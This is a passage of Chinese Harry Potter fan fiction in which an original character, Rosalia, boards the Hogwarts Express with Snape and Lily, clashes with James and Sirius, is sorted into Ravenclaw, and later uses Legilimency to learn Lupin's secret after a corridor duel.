小巫师一步三回头地走掉,而听懂他意思的罗萨利亚则没良心地笑出了声。也许她也没必要问了,斯内普大约是挺喜欢这件衣服的。
九月一日,国王十字火车站。
罗萨利亚很认真地打量着九号站台,然后看向艾琳夫人。后者点点头说:“没错,就是那里。”
她深吸一口气:九又四分之三站台怎么真的不论看起来还是摸起来就是一副墙啊——她真有点撞不下去。
就在这时,一支紫杉木魔杖出现在她视线中了。罗萨利亚抬头望向它的主人。
斯内普看着她,头往站台方向一点,什么也没说。然而罗萨利亚心领神会,伸手抓住了他的魔杖。就这样,斯内普一手抓着推车,一手拉着罗萨利亚,小跑着朝站台中间冲去。罗萨利亚看到斯内普的身体消失在眼前,紧接着是他的魔杖,然后就是她的手。
一眨眼的功夫,罗萨利亚真的站在了九又四分之三站台上。她还在发愣,脚踝处突然传来的温湿感吓得她立刻揪住斯内普的衬衫往他身后跳去,弄得后者还以为发生了什么,下意识将魔杖对准了罗萨利亚刚才站的位置。
“是猫,不用担心。”艾琳夫人推着她的推车紧跟其后,恰巧看见了这一幕。
始作俑猫“喵喵”两声,竖起尾巴扬长而去。
斯内普收起魔杖,回头瞧了眼罗萨利亚,嫌弃道:“你今天的胆子被你扔在家了?”
罗萨利亚瞪了斯内普一眼,不客气地回敬道:“那是因为我把猫湿漉漉的鼻子当成了你吐的蛇信子。”
“西弗勒斯!罗萨利亚!”
一道熟悉的声音响起。是莉莉。她身后是和父母在一起的佩妮。
莉莉跑过来打招呼,她看到斯内普的装束后“喔”了一声,说:“你穿这套衣服看起来可比之前好太多了。”
莉莉直白的夸赞让斯内普有些局促,他的手紧紧攥着推车的扶手,视线移到罗萨利亚身上,一副想说什么但又不好意思开口的模样。
事已至此,罗萨利亚决定站出来大方认领:“没错,是我给他弄来这一身的。”
“罗萨,你就连眼光也那么好。”莉莉拥抱了罗萨利亚,说道:“我还想回去再跟父母还有姐姐说几句话,等会儿见。”说完,她就朝亲人身边跑去了。
斯内普远远地目送莉莉,他看见双亲正俯身亲吻女孩的额头,而女孩也亲昵地拉起姐姐的手。他收回了目光。帮忙搬运行李的学生来了,他的注意力回到了蒸汽火车上。
等他再抬头看过去的时候,莉莉和佩妮二人的脸色却已经变得不是很好了。
斯内普或许不清楚发生了什么,但罗萨利亚心知肚明。莉莉和佩妮此刻的争执,源于她来蜘蛛尾巷前发生的一件事:斯内普和莉莉偷看了佩妮写给邓布利多的信。
不论这种行为背后存在何种原因,对于佩妮来说,都是无法接受的。
很快,罗萨利亚就看到佩妮摔开莉莉的手跑走了。也许下个暑假她们就会和好,也许永远不会。
列车鸣响汽笛,霍格沃茨特快列车就要发车了。罗萨利亚和斯内普挥别艾琳夫人登上列车,没一会儿,窗外的景色就变成了开阔的乡间田野。
他们俩登上火车后便翻出了巫师袍披上,然后开始在列车过道左右张望,试图寻找莉莉的影子。终于,在一节吵闹的车厢外,二人看到了蜷缩在窗边角落的莉莉。(2)
斯内普拉开包厢门走进去,坐到莉莉的对面,而罗萨利亚则贴着斯内普落座。然而,她的目光并没有像斯内普那样落在莉莉身上。
她正不着痕迹地观察着包厢内另外的人:
詹姆斯·波特和小天狼星·布莱克。
8. 霍格沃茨特快列车
“我不想跟你说话。”
“为什么?”
莉莉一边哭泣,一边说了有关那封信的事。
斯内普还没开口,罗萨利亚便先一步说道:“你们确实不该这么做,佩妮生气也是情有可原的。”
“罗萨……你说的对。”莉莉试图不引人注意地抹去眼泪,可是她哽咽的声音一直出卖她:“我被怒气冲昏头了,因为她说……她说我、说我们,是怪物。”
“她说我们是怪物,她自己又是什么?”
“她是我姐姐!”
斯内普皱起眉,但没有提到和麻瓜有关的话题,只是说道:“可她很早就看不惯我们了。”
罗萨利亚从中调停:“算了,都过去了。不管怎么样,我们现在已经在去霍格沃茨的路上了,想那些已经发生的事也毫无帮助,不如聊聊去学校以后的事吧。”
莉莉擦干眼泪,面色稍微好转:“也是……啊,今天是不是就会有分院仪式了?”
罗萨利亚点点头说:“是的。”
莉莉微微扬起嘴角:“罗萨,这对你来说太不公平了。”
罗萨利亚顺着她问:“为什么啊?”
莉莉说:“我们其他人都还不确定自己会去哪个学院,可是你,你几乎已经确定了,你们全家都是拉文克劳。这份期待都没有了。”
斯内普却突然道:“也说不好。”
罗萨利亚偏头看他:“什么?”
斯内普避开了她的视线说:“万一你是个例外呢?万一你不是拉文克劳,而是一个——斯莱特林呢?”
“斯莱特林?”
一个头发乌黑、面色红润的男孩转过头来,他笑了一声,问悠闲地坐在对面座位的另一个男孩说:“谁会想去斯莱特林?我一秒都不想在那待着,你呢?”
这些对话太熟悉了,罗萨利亚她知道接下来会发生什么。
果然,小天狼星紧接着说:“我们全家都是斯莱特林的。”
“天哪,我还觉得你挺好的呢!”詹姆道。
“说不定我会‘是个例外’呢。”小天狼星咧嘴笑了笑,目光却忽然落在罗萨利亚身上:“你叫什么名字?”
还没等罗萨利亚出声。斯内普就先替她开口了:“这和你们有关系吗?”
罗萨利亚看向斯内普,他大概是听出了对面两人在一唱一和地针对斯莱特林,此刻的表情和语气都不友好。
小天狼星一笑:“不说我也听到了——如果让你选择,你想去哪?”
罗萨利亚说:“我不在乎这个。”
詹姆则举起一把无形的宝剑说:“我会选格兰芬多,它代表勇气!我要像我爸爸一样。”
斯内普轻蔑地冷哼。
詹姆听到了,转头看着他:“怎么,你有意见?”
“没有,”斯内普讥讽道:“如果你情愿肌肉而不是头脑发达——”
“那你希望去哪?看起来你两样都不发达。”小天狼星突然插嘴道。
“哈哈哈!”詹姆大声笑着。
莉莉被气红了脸,她厌恶地看看詹姆和小天狼星,正要开口,可一道更冷的声音马上传来:
“你们不想听的事实是,他掌握的知识比许多高年级学生都多。而你,先生,全身上下似乎只有嘴会叫。”
是罗萨利亚。
“要我看,分院帽对你们家族的分类无比正确。”她平静而冷漠地看着小天狼星说:“你刻薄且自知的模样,比斯莱特林还‘斯莱特林’。”
小天狼星愣住了,他耳根迅速绯红起来,整个人轻微发抖,恼怒的面色中还仿佛夹杂着痛苦与恐惧。
詹姆大喊道:“你说什么——谁允许你这么说的——”
罗萨利亚睨他一眼,脸上露出似笑非笑的表情:“怎么了?我不过是在陪你们说话。还是说,你连听别人讲话的勇气都没有?”
“你——你们!”詹姆站了起来,看起来气坏了:“你们等着吧!”
斯内普看见罗萨利亚耸耸肩,轻挑眉稍。对方漫不经心地一声“行啊”,甚至盖过列车的汽笛声。
詹姆快速拉起小天狼星离开了他们所在的车厢。
“啪……啪……”
莉莉目瞪口呆,一边鼓掌一边崇拜地看着罗萨利亚:“罗萨,你太厉害了。”
“谁让他们先惹事的。”罗萨利亚直白地评价:“这个年纪的男生还真是猫嫌狗不待见。”
标准的“青少年”群体,据说成年的一霎那就能变身英国绅士——不知道算不算一种阿尼玛格斯。
这么想着,她又想起了什么,于是扭头看向斯内普说:“你除外,西弗勒斯。”
斯内普放在腿上的手蓦地收紧了,眼睛却微微睁大,就好像被谁的巧克力蛙扑了个正着似的,半晌,才“嗯”了一声。
夜晚,行驶了一天的霍格沃茨特快车最终在一个又黑又小的站台上停下了。
一个头发蓬乱、身材彪悍的巨人手持夜灯,站在一堆豆芽菜般的孩子中间,高喊:“一年级新生!请到这里来!跟上我好吗?”
是海格。看到他好亲切呀。罗萨利亚心想。
罗萨利亚、斯内普和莉莉三人相互扶持着穿过漆黑陡峭的小路。莉莉一路握着罗萨利亚的手,她明显有些紧张和害怕:“好黑啊,罗萨,你可要小心脚下。”
罗萨利亚捏捏莉莉的手,给了她一个安抚的眼神:“放心吧,我还扯着西弗勒斯的袍子呢,摔倒了有他垫背。”
“哼。”斯内普的眼白在黑夜中格外明显。
见状,莉莉被逗得咯咯直笑。罗萨利亚的嘴角也不禁上扬。忽然,她感觉手背上传来干燥的温热触感——有人轻轻地握住了她。
黑暗中,她听到斯内普轻声说:“我们最好都别一头栽进黑湖水里,同意吗?”
很快,一行人就渡过黑湖、来到了城堡大门前。海格确认人数都到齐之后,就往门上敲了三下。门厅豁然洞开,等待他们的,是站在台阶上身穿翠绿色长袍的黑发女巫。
这就是米勒娃·麦格教授了。
在带领众人来到一间小空屋后,麦格教授说道:“欢迎来到霍格沃茨,各位。在进入大厅之前,还有一个重要的仪式在等着你们——也许你们早就有所耳闻,又或许没有,这并没有什么关系——那就是分院仪式。”
“学校一共四个学院:格兰芬多、赫奇帕奇、拉文克劳以及斯莱特林。它们每一个都有属于自己的光辉历史,也培育出了很多杰出的巫师。而你们在加入学院后,就将与其一荣俱荣、一损俱损——你们的表现将影响学院分数的增减,进而影响年终荣誉奖项学院杯的获得。”
“现在,各位,整理整理衣衫吧。你们马上就会在全校师生面前参与这一仪式。”她手指轻拂长袍,目光扫过众人。
伴随麦格教授话音的落下,新生们窸窸窣窣地开始整理校服。莉莉仰起脑袋整理领口,她侧过身问罗萨利亚道:“罗萨,你看我领子后面是平整的吗?”
“看起来一切都好。”罗萨利亚也转过身问:“我呢?”
“好着呢。”莉莉的声音小小的。
斯内普站在他们身边没有动作,罗萨利亚见状,顺手调整了他的外袍,道:“
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刚才我拽得有点用力,现在好了。”
“……谢谢。”斯内普道。
莉莉深吸一口气,鼓了鼓腮帮试图放松自己,但仿佛没什么效果,她只好说出自己最忧心的问题:“……我好紧张,如果我没有和你们中的任何一个分到一起,那怎么办?”
罗萨利亚拍了拍莉莉的肩膀,揶揄道:“放松,莉莉,学院之间不禁止交朋友。”
“那如果我跟那些……在火车上出言不逊的人分到一个学院了,怎么办?”莉莉把声音压得更低了。
罗萨利亚和斯内普齐齐往一个方向看去。在队伍靠后的位置,詹姆和小天狼星站在一块,而后者抿着嘴,神色竟有些紧张。
斯内普收回目光,冷冷道:“你可以拿走我的《诅咒与反诅咒》。”
莉莉说:“……还有其他温和的方法吗?”
罗萨利亚想了想说:“那就别搭理他们。”
“哦天呐,那是什么——”一个学生惊呼道。
罗萨利亚抬头,只见一群幽灵正从四面八方挤进来。
“别担心,我早了解过,他们中唯一需要小心的就是皮皮鬼。”另一个学生安抚道。
“我哥说,血人巴罗能制住它。”
“血人巴罗是什么?”
“他是斯莱特林学院的幽灵,就在那。长袍上有血的那个。啊!他瞪过来了……”
“快别看他——其他学院也有自己的代表幽灵吗?”
“有,格兰芬多的幽灵是尼古拉斯爵士、赫奇帕奇的幽灵是胖修士——他们在另一边。拉文克劳的幽灵是格雷女士,但她似乎没来。”
叽叽喳喳地讨论声令萦绕在小房间中的紧张氛围被瞬间冲淡了。幽灵们很快向礼堂飞去。
很快,麦格教授就回来了。所有人排成一排,在她的带领下浩浩荡荡进入礼堂。
星空穹顶、漂浮的蜡烛、四张长桌,院长与老师高坐上位,最中间的是校长阿不思·邓布利多。前方,那顶打着补丁的脏帽子在等着他们。
分院帽的褶皱化作尖尖的嘴巴,高声为自己吟唱着分院之歌。一曲过后,学生们就要一个个坐上那个椅子佩戴分院帽了。
麦格教授在万众瞩目中站到台上,打开了入学名单:
“西里斯·布莱克。”她宣读道。(1)
第一个就是熟人啊。罗萨利亚想。
队伍后面,小天狼星从人群后面走上前来。路过罗萨利亚的时候,他侧头看了她一眼。那眼神与其说是愤怒和怨恨,不如说是一种不服气,他急切地想要自证自己,最好能马上让罗萨利亚为其在火车上对他的错误判断而感到羞愧。
而罗萨利亚只是平静地注视小天狼星同手同脚地坐到椅子上。
在分院帽看似停顿了足足一分钟后,她看见小天狼星的嘴唇动了动。
啊哈。他说的不会是“不要斯莱特林吧”。
总之,分院帽很快作出决定:“格兰芬多!”
左边最远的一张餐桌立刻爆发出欢呼的声音,小天狼星的肩膀一下子放松下来。他跳下椅子,眉梢眼角都是喜悦。
罗萨利亚眼睁睁看着他往自己这边走来,仿佛整个礼堂只有她和斯内普中间有路可走。
擦肩而过时,小天狼星故意在她耳边挑衅道:“真不幸啊,你说错了——”
罗萨利亚轻轻笑了一声,但什么也没说。
小天狼星显然听见了,可他没有时间追问她又笑什么,只能三步一回头地坐到格兰芬多的席位上。
点名继续着。很快,麦格教授就念道:“莉莉·伊万斯!”
9. 分院帽的选择
莉莉双腿颤抖着上前,扶着摇摇晃晃的凳子坐下,她的目光看向罗萨利亚和斯内普,然而,分院帽在接触到她红色头发的一霎那就给出了答案:
“格兰芬多!”
莉莉的巫师袍上很快出现了格兰芬多的徽标。
斯内普低低地叹息一声。
罗萨利亚靠近斯内普,轻声说:“很沮丧吗?”
“……并不。”斯内普的语速很慢:“我只是……算了,没什么。”
他没有说下去。可罗萨利亚感应到了斯内普隐去的话语。那个词裹挟着尚未到来的宿命,在时空穿梭中消磨成了一把钝刀。在被它击中时,人们不会立刻感到疼痛,却终会在走向未来的路上被其逐渐恢复的原貌割得遍体鳞伤。
它的名字叫做遗憾。
就在罗萨利亚也想要叹息一声的时候,斯内普却又出乎预料地道:“反正学院之间不禁止交朋友。”
这话让罗萨利亚一愣。她感觉有些东西好像变化了。
斯内普盯着她看了一会儿,像是意识到了什么,又问:“……你当时说这话应该不是哄莉莉玩的——对吧?”
“呃……不是。”
“……罗萨利亚。”
“真不是!”
“伊万斯小姐——”
“莉莉·伊万斯——?”
“……什么事?”
莉莉不太情愿地将脑袋往身后偏去,小天狼星这才慢慢地停止了一遍又一遍地呼唤:“你认识那两个人?”
莉莉道:“你这是明知故问。”
“真可惜。”小天狼星抬起一根手指,往人群里探了探,说:“那个女孩,到底叫什么名字?”
“……我为什么要告诉你?”莉莉有些不屑。
小天狼星挑眉摊手:“反正待会儿教授也会念到,你告诉我。”
“哦那真是太好了。”莉莉也学着他模样挑眉:“我还以为你不知道教授会念名字呢!既然这样,那你就等等吧。”
说完,没等小天狼星再次开口,莉莉就重新转过身背对他,嘴角有一抹得意的笑。小天狼星则“噗”一声吐出口气,兴致缺缺般把腿翘了起来。
点名还在继续。中间,又有许多学生上前参与了分院。四个学院也纷纷以阵阵欢呼迎接他们。很快,詹姆斯·波特也被分院帽分到了格兰芬多。他朝着小天狼星就走了过去,还看了莉莉一眼。只可惜,莉莉没有看他。
“莱姆斯·卢平!”麦格教授又喊道。
罗萨利亚看到一个苍白、瘦弱的男孩慢慢走出人群。他整个人看上去很憔悴,低着头,似乎想要把脸上新愈的伤疤藏起来。(1)
分院帽在他头上呆了一会儿:“格兰芬多!”
“瞧他那畏畏缩缩的样子,竟然也会被分到格兰芬多学院。”詹姆对小天狼星说。但这话也被莉莉听见了。
她说:“你们就那么喜欢以貌取人吗?你看不到他脸上的疤?说不定这是他与命运搏斗的痕迹。”
说完,莉莉抱臂在胸前,似乎做好了被詹姆回击的准备,可后者只是干巴巴地瞪了她一眼,什么也没说。至于小天狼星?他抖着肩膀笑个不停,真是不明所以。
终于,麦格教授念到了斯内普的名字:“西弗勒斯·斯内普。”
莉莉的眼睛马上亮了起来,詹姆见状,则故意“呵”地笑出声,惹得前者皱眉看过来。他低声说:“怎么会有父母取这样的名字?”
“什么意思?”小天狼星明显期待着詹姆说出点什么乐子。
詹姆露出怪异且煞有介事的表情,用气音重复了一遍斯内普的名字:“吸溜勒斯·斯内普!”
莉莉的脸色霍然涨红了,她几次张嘴想要说什么,可偏偏四周安静得很,于是只好恶狠狠地瞪着小天狼星和詹姆。
分院帽说:“斯莱特林!”
小天狼星:“唔——看吧。”
“你们,凭什么攻击斯莱特林学院的人?你们没听麦格教授说,每个学院都有自己的荣耀吗?”莉莉趁着斯莱特林学院鼓掌的空隙对二人冷冷说道。
“算了吧,”詹姆义正词严地说,“我爸爸说,斯莱特林学院就没有一个好人!他们高高在上、鄙视麻瓜、折磨好人还滥杀无辜!伏地魔过去就是斯莱特林学院的人!”
“什么伏地魔?你在说什么?”莉莉茫然地问。
詹姆上下打量她:“这么大的事你竟然不知道?也没人跟你说过吗?”
“詹姆斯说的是真的,我对此再了解不过了。”小天狼星也收起玩闹的表情,曲起指节在桌上敲了敲,说:“而且,伏地魔现在正在招兵买马,你猜,他会不会从自己的学院里招揽人才?”
莉莉反驳道:“西弗勒斯不是这种人!他不会跟坏人混在一起!”
詹姆耸耸肩:“你以后就知道了。”
莉莉冷冷道:“用不着你说这话。”
就在二人针锋相对时,麦格教授喊道:
“罗萨利亚·拉文谢德。”
小天狼星看到那个黑发女孩走上前了。他身体微微后倾,像靠在座椅上那样悠闲,他说道:“原来她全名叫罗萨利亚·拉文谢德。”
莉莉颇为紧张地看了小天狼星一眼。小天狼星注意到后,故意眯起眼笑了:“拉文谢德,哈哈,还是这个姓氏更有意思。”
他慢悠悠道:“这不就是那个因为喜欢族内近亲结婚而爆发了遗传病,目前正面临绝代的家族吗?她妈妈和爸爸的血缘都快赶上亲兄妹了吧——真是恶心。”
说完,小天狼星立即从莉莉脸上看到了满意的错愕与茫然,勾起唇角笑了,调侃似的说:
“看来你最好的两个朋友,似乎都瞒了你很多事啊?”
与此同时,分院帽正在苦思冥想。
“哦~奇怪……我能感觉到你的灵魂很不一样……有点难办了……我能感觉到,你心眼不坏,但密密麻麻的;有勇气,但更多让步于权衡;你机敏狡猾,却又没什么野心;你还有相当聪明的头脑……没错,你是一个拉文谢德,拉文谢德永远都是拉文克劳的孩子——但是,我今天刚刚把一个布莱克分到了格兰芬多……孩子,你是怎么想的呢?”分院帽嘀嘀咕咕地问道。
罗萨利亚在脑海中回应它:把我分去拉文克劳。
分院帽:“你确定?可是我能感觉到,来自格兰芬多和斯莱特林的目光在注视和期待着你,他们都能带你取得一番成就。”
罗萨利亚:我确定。
分院帽大喊:“拉文克劳!”
一阵欢呼声响起,拉文克劳院长弗立维鼓掌的手挥出了残影。罗萨利亚从凳子上起身,落向那片蓝色的天空。
最终,分院仪式在邓布利多校长致辞欢迎中结束。
丰盛的晚宴铺陈开来,早已饥肠辘辘的学生开始胡吃海塞。邓布利多强调了对于许多学生耳熟能详的注意事项叮嘱:比如禁止踏入禁
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林云云;并介绍了新任管理员阿格斯·费尔奇先生以及窝他怀里嘬奶瓶的搭档洛丽丝小姐;最后他特别提到:
“今年,斯卡曼德先生为学校慷慨捐赠了一棵打人柳,用于增添校园的风景,请勿靠近它,除非你希望自己像嘭嘭泡芙那样干巴巴裂开。”(3)
乱七八糟地吟唱完校歌后,各学院的级长便领着学生们前往学院休息室了。
罗萨利亚和莉莉首先挥别了斯内普——级长卢修斯·马尔福带着斯莱特林们前往地势较低的黑湖地牢。随后,再走一段楼梯,莉莉也和罗萨利亚说晚安了,跟在她身后的格兰芬多还有小天狼星、詹姆、卢平以及彼得·佩迪鲁。(3)
而拉文克劳的休息室在霍格沃茨的高塔上,视野最好,能俯瞰整个校园。那么,代价是什么呢?
——爬楼。
不会有人觉得爬那么多楼梯是愉快的。
罗萨利亚累得头晕目眩、气喘吁吁,下意识想抓住某个人袍子作支撑——她赶紧把手拐了个弯,摸到扶梯上去——走在她前面的可不是斯内普。
低年级的学生大多和她一样脸色惨白,她听见有人小声嘟囔:“嘿,既然拉文克劳已经把楼梯设计成能左右转弯的款式了,为什么不能再升级成支持上下升降的呢?”
而高年级的学生看起来已经适应了这种身体锻炼,他们头疼的则是接下来要做的事。
拉文克劳的女级长轻叩鹰状的青铜门环,一曲温柔的吟唱从鹰嘴里冒出来,说道:“影子属于光明还是黑暗?”
新生们你看看我、我看看你,年长的学生已经熟练地开始自言自语的思考。一个有着乱蓬蓬金黄色头发的女孩对身边的同伴轻声说:“我爷爷跟我说,当年他因为答错问题在走廊上呆了一夜。”
“那怎么办?”有人问。
女孩摇摇头:“最好的办法就是别那么晚回宿舍,这样你还能蹭其他人的答案进去。”
终于,女级长开口说:“影子既不属于光明也不属于黑暗,它在两者的交界之处。”
那声音道:“有道理。”
木门缓缓打开,女级长小小地“耶”了一声,随后清清嗓子说:“一年级新生跟上我——你们眼前的是公共休息区。”(4)
罗萨利亚跟着人群穿过公共休息室:星空穹顶下坠满了银白色的星星,蓝色丝绸帷幔像河流般徜徉在排排书架之间,几颗水晶球散落在法兰绒靠垫附近。观星仪落在正中央,左右两边还有茶室、盥洗室和壁炉。罗伊纳·拉文克劳的雕塑瞩目地面对着他们。
“右边——是男生的‘鸟巢’”,请跟我来。”
“女生请跟上我,你们的‘鸟巢’在左边。”
来到卧室,罗萨利亚马上就明白级长们口中的鸟巢是怎么回事了:拉文克劳寝室的床位高低不一地飘在空中,每个都覆盖着深蓝色帷幔。床铺的形状状似鸟巢,而且相当柔软、私密。罗萨利亚抬头,能看到自己的渡鸦穆宁正在其中一个鸟巢旁等着自己。
“现在,想办法飞到你们的床上吧,新生们!无论如何,祝你们在拉文克劳的第一个晚上能睡个好觉!”
女级长留下一个神秘的笑容,随后一溜烟儿离开了新生寝室。小鹰们望着高高的床位面面相觑:
“她刚刚有说我们要怎么上去吗?我是说,怎么‘上’床?”
“她说‘飞’上去。”
“哦——不会吧——又来一个考验?”
10. 除你武器
“所以你们昨天晚上是怎么睡的,罗萨?”
莉莉从盛满烤肠的篮子里挑选了三根酥脆适中的香肠分别放到罗萨利亚、斯内普和自己的盘子里。
此刻,三人正坐在赫奇帕奇餐桌末尾用餐——学院之间一般不会“串门”享用餐食,但赫奇帕奇一向宽和,没有学生抱怨他们的行为——此刻,他们正沉迷讨论什么魁地奇、选拔、赌注的事情。
罗萨利亚道谢后说道:“有的是相互踩肩膀爬上去的,有的借助漂浮咒,还有的去公共休息室搬了一摞书垫脚。”
斯内普听完摇了摇脑袋,好在他正在吃东西,没办法发表评论。
莉莉忍俊不禁,但又很快克制住自己:“那你是怎么上去的,罗萨?”
罗萨利亚说:“我观察了最近的一个床位,发现其实有绑起来的可供攀爬的绳梯——只是被帷幔盖住了。于是我就把它放下来了。至于高处的,用一个简单的松绑咒就行——《标准咒语(初级)》里有写。”
“也就是说,其实可以爬上去?”
“没错。”
“你们级长竟然不给提示。”莉莉的表情写满了难以理解:“说真的,这对新生一点儿也不友好!”
“好消息是,拉文克劳的公共休息室不像格兰芬多和斯莱特林那样需要口令,你们如果想来,只需要爬到楼顶回答门环的问题就行。”罗萨利亚提示道:“问题不固定,答案言之有理即可。”
“那真是太好了,我还担心会是那种特别难的魔咒题。”
“咕咕——”
说话间,几声猫头鹰的长鸣从头顶传来。
是快件到了。
罗萨利亚一抬头就看到了自家的老渡鸦——相比一般的猫头鹰,渡鸦的个头要更大,同时也更显眼——是拉文谢德堡的来信。
老渡鸦稳稳地停在罗萨利亚瘦小的肩膀上,用脑袋轻蹭她的头发。
“你有信和包裹。”莉莉有些好奇。
“我家族的画像比较关心我的学业。”罗萨利亚简单解释道。她取下信件和包裹,轻抚老渡鸦的脑袋:“好久不见,胡金,你想我了是不是?嗯?”
老渡鸦胡金亲呢地叫唤一声。忽然,它又调转脑袋,好奇似的打量起一旁的斯内普。罗萨利亚注意到这一点,主动做了介绍:“这是西弗勒斯·斯内普。这是莉莉·伊万斯。他们都是我的朋友——胡金很聪明,它会记得你们的。”
“你好啊。”
莉莉很愉快地打了招呼,胡金也谦逊地向她垂首示意。而斯内普一言不发,眼睛时不时地瞟向渡鸦。
趁这个功夫,罗萨利亚一目十行地将信看完了。信上的话不多,一看就是玛丽安娜夫人让家养小精灵劳伊代笔写的:她先是祝贺罗萨利亚顺利进入拉文克劳学院,又简单介绍了自己赠送的礼品——有闹铃功效的嘀咕钟,最后特别叮嘱她不要给家族丢脸。
罗萨利亚无奈地叹息一声,转头对胡金说:“你想去看看穆宁吗?比起猫头鹰塔楼,它更喜欢呆在拉文克劳休息室里,如果你想找它,就从外面敲几下窗户,它会帮你开窗的。”
于是胡金扑簌翅膀飞走了。
早饭过后,三人便拿着教授们分发下的课表,赶着去上第一堂变形咒课了。除了天文学、飞行学和草药学外,其他课程都是四个学院合班上课的。(1)
路上,罗萨利亚趁莉莉走得略远一些后,悄悄凑近斯内普轻声说:“临走前,我让穆宁挑选了一只渡鸦留在蜘蛛尾巷——是特意留给艾琳夫人的。”
斯内普的神色立刻变得有些古怪,他轻声嘟囔道:“你——为什么会知道……”
“知道什么?”罗萨利亚眨了眨眼。
但其实她知道斯内普想问什么——你为什么会知道,我因为看到渡鸦而想起了妈妈?
这其实并不难猜,因为她也会通过渡鸦联想到八月、蜘蛛尾巷和艾琳夫人。斯内普在餐桌上盯着渡鸦看的时候,她就猜到了这点:
斯内普小声问:“……你会摄魂取念?”
罗萨利亚一愣,旋即笑了:“你想什么呢。”他思维跳得太快了吧。
可斯内普没有轻易放过这个话题,他放慢了脚步接着说:“你似乎总能洞察到别人的想法。”
罗萨利亚跟着他减速,解释道:“你是说渡鸦这事儿?我当时的注意力本来也在你身上,见你有看胡金,就猜测你是不是想到了艾琳夫人。”
斯内普脚步一顿,别扭地移开了视线:“你别耍滑头。我说的不止这件事。”
她耍什么滑头了?罗萨利亚感觉冤枉。那次意外之后,她就一直很小心地控制自己,没去主动窥探过别人的记忆——不过就算看了又怎样,她还看了《哈利·波特》全系列呢。
她刚要张口反驳,一阵急促的脚步声就突然从身后传来。
有人大声喊道:“让开——别挡道——”,
猝不及防地,罗萨利亚一下子被撞倒在石砖上。剧烈的疼痛从膝盖处传来。她的书包摔了出去,霎时间,课本、牛皮纸和羽毛笔撒了一地。
“罗萨!”斯内普蹲下来扶她。
正专心找教室的莉莉也被刚刚那个飞奔过去的身影吓了一跳,她盯着那人乱翘的头发,生气地大喊:“詹姆斯·波特!”
詹姆没有回头看她,一路跑到走廊拐角处后消失了。
“莉莉,你喊那么大声干什么。”
这时候,小天狼星从他们身后闲步走来,摊开右手指了指斯内普和罗萨利亚:“谁让他们两个站在这里挡道的,其他人不赶着上课吗?”
罗萨利亚试图站稳,但她的膝盖似乎伤得不轻,只能扶着斯内普靠在石柱上。莉莉很快跑来了二人身边,急切地询问情况。
“哦,看呐,我道是谁呢。”小天狼星摇摇晃晃走过来,仿佛这才看清斯内普和罗萨利亚的脸,说道:“这不是鼻涕精和说谎精吗?”
“你到底在讲什么啊?”莉莉愤怒地大喊,她抽出魔杖对准了小天狼星。
“哎呀,现在你们合起伙来了。”小天狼星立刻把双手举了起来,一副“你们以多欺少”的模样。
莉莉道:“我们没想和你们作对——”
“是吗?那太可惜了——我们想!”小天狼星忽然露出狡黠的笑容,大喊:“詹姆斯!”
莉莉回过头,只见走廊另一头,本来跑远的詹姆不知何时又回来了。他手持魔杖,对准了斯内普的后背:
“等着上课迟到被扣分吧,你这个鼻涕精!统统——”“除你武器!”
一道红光率先从魔杖尖端闪过。而几乎同一时间,另一声“除你武器”也响了起来。
莉莉站在中间,她左右两边分别是举着魔杖的罗萨利亚和斯内普。再看詹姆和小天狼星——他们错愕异常,手中的魔杖已经飞了出去。
这是一个声东击西的两面夹击。
好险。罗萨利亚心想。刚想过摄神取念的事,她便用上了——也幸亏她窥探到了詹姆和小天狼星商议的小花招,这才能及时作出反应。而斯内普——他在听到缴械咒的瞬间,也和她做出了相同的反应。他们这才避免了一次攻击。
“波特先生?布莱克先生?”
恰在此时,一个声音从他们头顶传来。
莉莉抬头一看,吓得捂住了嘴,连魔杖都忘了藏起来:“麦格教授!”
楼上,米勒娃·麦格教授把脑袋探出石栏,她的脸上满是怒气,俯视他们说道:“伊万斯小姐也在?我以为,你们现在该忙着找教室,好赶上我的变形课,而不是在走廊上练习不属于你们这个年级该学的黑魔法防御?”
“我猜至少还有一个人躲在石柱后面吧?出来!”
斯内普扶着罗萨利亚走入麦格教授的视野中,方便让她一眼就看出罗萨利亚的腿受伤了。
麦格教授自然注意得到。她嘴角下拉,气呼呼地说:“还有斯内普先生和拉文谢德小姐——我真不知道一条小小的走廊是怎么凑齐三个学院的学生的——你们五个,藐视纪律、滥用魔法、怠慢课堂,每人每学院扣五分。”
罗萨利亚感到遗憾。从扣分多少来看,麦格教授大概是没听到詹姆和小天狼星给他们起的蔑称。不过不管怎么样
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,就冲那声“鼻涕精和撒谎精”,他们之间这梁子就算是正式结下了。
“现在,除了拉文谢德小姐,其余人都给我到二楼教室找地方坐下!”麦格教授道:“拉文谢德小姐,请你在原地等候,我来送你到庞弗雷夫人那里去。”
……
“哦……我亲爱的孩子,你很可能是髌骨骨折了。”
护士长庞弗雷夫人在检查完罗萨利亚的膝盖后,露出了一个无奈又心疼的表情:“别担心,我会治好它的。”
麦格教授把罗萨利亚送到校医院后便匆匆赶回去上变形课了。此时,白色幕帘之间只剩下庞弗雷夫人忙碌的身影。她拨弄着橱柜里的药瓶,自言自语般嘟囔道:“嗯?怎么不见了……难道我昨天拿给他了?”
“昨天有其他学生受伤了吗?”罗萨利亚随口问道。
可庞弗雷夫人听后,动作却蓦然一顿。她低声说了一句“没有”,可她侧脸的表情却并不轻松,就好像在对什么讳莫如深似的。
罗萨利亚微微眯起眼睛。
疗愈药剂、其他学生、庞弗雷夫人……他?昨天才刚开学……难道是……
她打量庞弗雷夫人的背影,推测着对方修习大脑封闭术的可能……几乎不可能。自己不如趁这个机会练练手?
这么想着,罗萨利亚默默调动了注意力——果然,下一刻,她就进入了庞弗勒夫人的记忆:
是夜,邓布利多领着一个瘦弱的男孩来到校医院。她听见自己、或者说是庞弗雷夫人有些吃惊地问:“开学第一天就有学生受伤了吗,邓布利多教授?”
“晚上好,庞弗雷夫人。”月光下,邓布利多蓝色的眼睛十分明亮,他微笑着说道:“这就是我提到的那个孩子,我想着,应该早点带他来见你。毕竟,开学后的第一个满月就在本周末。”
男孩走上前来,轻声问好。
罗萨利亚认得出来,他就是莱姆斯·卢平。
庞弗雷夫人揪心地俯下身,用指腹轻轻擦过卢平脸上的伤疤。
“原来就是你……可怜的孩子,我会尽力医治你的……但愿这些伤药能减轻你的痛苦。”庞弗雷夫人的声音正在远去,罗萨利亚最终听到她说:“放心吧……你会在这儿得到很好的照顾……”
果然如她预想中一样……
晨光挥洒。罗萨利亚微笑着接过庞弗雷夫人好不容易翻出来的药剂,一口气全喝了下去。
“喔。”庞弗雷夫人有些惊讶:“你真是个喝药的好手,眼睛都不眨一下。要不要来点糖?”
